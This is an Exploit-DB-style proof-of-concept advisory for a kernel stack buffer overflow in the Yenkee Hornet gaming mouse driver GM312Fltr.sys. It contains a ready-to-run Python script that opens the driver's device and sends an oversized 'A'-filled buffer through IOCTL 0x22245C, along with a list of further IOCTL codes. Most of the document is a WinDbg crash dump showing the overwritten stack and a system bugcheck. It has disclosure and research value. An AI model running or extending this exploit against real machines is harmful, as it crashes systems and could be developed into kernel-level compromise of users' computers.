```
# Exploit Title: Yenkee Hornet Gaming Mouse - 'GM312Fltr.sys' Denial-Of-Service
(PoC)
# Date: 2021/04/07
# Exploit Author: Quadron Research Lab
# Version: all version
# Tested on: Windows 10 x64 HUN/ENG Professional
# Vendor: https://www.yenkee.eu/gaming-mouse-hornet-aim/yms-3029
# Reference: https://github.com/Quadron-Research-
Lab/Kernel_Driver_bugs/tree/main/GM312Fltr

import ctypes, sys
from ctypes import *
import io
from itertools import product
from sys import argv

devicename = "GM312Fltr"
```

```
ioctl = 0x22245C

ioctl_list = '''
0x22245C
0x222440
0x222441
0x222400
0x222404
0x222408
0x222420
0x222424
0x222448
0x222450
0x22245c
0x222460
'''

kernel32 = windll.kernel32
hevDevice = kernel32.CreateFileA("\\\\.\\GM312Fltr", 0xC0000000, 0, None, 0x3, 0, None)

if not hevDevice or hevDevice == -1:
    print ("Not Win! Sorry!")

else:
    print ("OPENED!")

    buf = 'A' * 2000
    bufLength = 2000

    kernel32.DeviceIoControl(hevDevice, ioctl, buf, bufLength, None, 0, byref(c_ulong()), None)

[Bugcheck Analysis]
Fatal System Error 0x000000f7

(0xBEBEA1CAEAF0A2C1,0x0000F80736BC1742,0xFFFF07F8C943E8BD,0x0000000000000000)

Break instruction exception - code 80000003 (first chance)
nt!DbgBreakPointWithStatus
fffff807`2e1feb90 cc                      int     3
0 kd !analyze
Connected to Windows 10 19041 x64 target at (Mon Jun 14 204816.370 2021 (UTC + 200)), ptr64 TRUE
Loading Kernel Symbols
...............................................................
................................................................
........................

Press ctrl-c (cdb, kd, ntsd) or ctrl-break (windbg) to abort symbol loads that take too long.
Run !sym noisy before .reload to track down problems loading symbols.

........................................
.............................
Loading User Symbols
.............................................
Loading unloaded module list
........


                        Bugcheck Analysis
```

```
DRIVER_OVERRAN_STACK_BUFFER (f7)
A driver has overrun a stack-based buffer.  This overrun could potentially
allow a malicious user to gain control of this machine.
DESCRIPTION
A driver overran a stack-based buffer (or local variable) in a way that would
have overwritten the function's return address and jumped back to an arbitrary
address when the function returned.  This is the classic buffer overrun
hacking attack and the system has been brought down to prevent a malicious user
from gaining complete control of it.
Do a kb to get a stack backtrace -- the last routine on the stack before the
buffer overrun handlers and bugcheck call is the one that overran its local
variable(s).
Arguments
Arg1 bebea1caeaf0a2c1, Actual security check cookie from the stack
Arg2 0000f80736bc1742, Expected security check cookie
Arg3 ffff07f8c943e8bd, Complement of the expected security check cookie
Arg4 0000000000000000, zero

Debugging Details
------------------



BUGCHECK_CODE  f7

BUGCHECK_P1 bebea1caeaf0a2c1

BUGCHECK_P2 f80736bc1742

BUGCHECK_P3 ffff07f8c943e8bd

BUGCHECK_P4 0

PROCESS_NAME  pythonw.exe

SYMBOL_NAME  GM312Fltr+e1e

MODULE_NAME GM312Fltr

IMAGE_NAME  GM312Fltr.sys


FAILURE_BUCKET_ID  0xF7_MISSING_GSFRAME_STACKPTR_ERROR_GM312Fltr!unknown_function

FAILURE_ID_HASH  {b8e05604-2a11-789a-ad29-fc4916710f2d}

Followup     MachineOwner
---------

0 kd kb
RetAddr           Args to Child
Call Site
fffff807`2e312d12  fffff807`344a4ae0 fffff807`2e17d000 00000000`00000000
00000000`00000000  nt!DbgBreakPointWithStatus
fffff807`2e3122f6  00000000`00000003 fffff807`344a4ae0 fffff807`2e20bbc0
00000000`000000f7  nt!KiBugCheckDebugBreak+0x12
fffff807`2e1f6df7  fffff807`344a5210 00000000`00000000 fffff807`36bc18c8
fffff807`344a51a8  nt!KeBugCheck2+0x946
fffff807`36bc0e1e  00000000`000000f7 bebea1ca`eaf0a2c1 0000f807`36bc1742
ffff07f8`c943e8bd  nt!KeBugCheckEx+0x107
fffff807`36bc0ea7  fffff807`344a5210 00000000`00000000 fffff807`344a5748
fffff807`344a5720  GM312Fltr+0xe1e
fffff807`2e1ffbaf  fffff807`36bc0e94 00000000`00000000 00000000`00000000
00000000`00000000  GM312Fltr+0xea7
fffff807`2e087547  fffff807`344a5710 00000000`00000000 ffffe08b`abb1e380
```

```
fffff807`36bc0b5d  nt!RtlpExecuteHandlerForException+0xf
fffff807`2e086136  ffffe08b`abb1dcf8 fffff807`344a5e20 ffffe08b`abb1dcf8
ffffe30a`242183c0  nt!RtlDispatchException+0x297
fffff807`2e1f7b82  00000000`00000000 00000000`00000000 00000000`00000000
00000000`00000000  nt!KiDispatchException+0x186
fffff807`2e1f7b50  fffff807`2e208da5 00000000`ffffffff fffff807`2e0c3216
00000000`00000010  nt!KxExceptionDispatchOnExceptionStack+0x12
fffff807`2e208da5  00000000`ffffffff fffff807`2e0c3216 00000000`00000010
00000000`00000246  nt!KiExceptionDispatchOnExceptionStackContinue
fffff807`2e204ae0  ffffe30a`1ce27c00 ffffe30a`1ce21010 00000000`00000000
00000000`00000000  nt!KiExceptionDispatch+0x125
fffff807`2e1fe0c7  fffff807`2aab9180 000fa40d`b19b3dfe ffffe30a`27381080
fffff807`2eaea710  nt!KiGeneralProtectionFault+0x320
fffff807`2e1fda76  7fffe30a`29e4bb10 00000000`ffffffff 00000000`00000000
00000000`00000000  nt!SwapContext+0x377
fffff807`2e00c970  ffffe30a`00000006 00000000`ffffffff 00000000`00000000
ffffe30a`24218498  nt!KiSwapContext+0x76
fffff807`2e00be9f  ffffe30a`27381080 fffff807`36b819b6 ffffe08b`abb1e270
00000000`00000000  nt!KiSwapThread+0x500
fffff807`2e00b743  ffffe30a`00000034 00000000`00000000 ffffe30a`23c6d800
ffffe30a`273811c0  nt!KiCommitThreadWait+0x14f
fffff807`36bc0ca2  ffffe08b`abb1e350 fffff807`00000000 00000000`00000000
00000000`00004100  nt!KeWaitForSingleObject+0x233
fffff807`36bc0b5d  ffffffff`ff676980 00000000`00000000 00000000`00000bb8
fffff807`35142017  GM312Fltr+0xca2
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  GM312Fltr+0xb5d
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141

41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
```

```
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141

41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
```

```
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141

41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
```

```
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141

41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
```

```
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141

41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
```

```
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
41414141`41414141  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 41414141`41414141
00000000`0020027f  0x41414141`41414141
41414141`41414141  41414141`41414141 41414141`41414141 00000000`0020027f
00000000`5c4eafe0  0x41414141`41414141
41414141`41414141  41414141`41414141 00000000`0020027f 00000000`5c4eafe0
00000000`00000000  0x41414141`41414141
41414141`41414141  00000000`0020027f 00000000`5c4eafe0 00000000`00000000
0000ffff`00001f80  0x41414141`41414141
00000000`0020027f  00000000`5c4eafe0 00000000`00000000 0000ffff`00001f80
00000000`00000000  0x41414141`41414141
00000000`5c4eafe0  00000000`00000000 0000ffff`00001f80 00000000`00000000
00000000`00000000  0x20027f
00000000`00000000  0000ffff`00001f80 00000000`00000000 00000000`00000000
00000000`00000000  MSVCR90!pow+0x4e0
```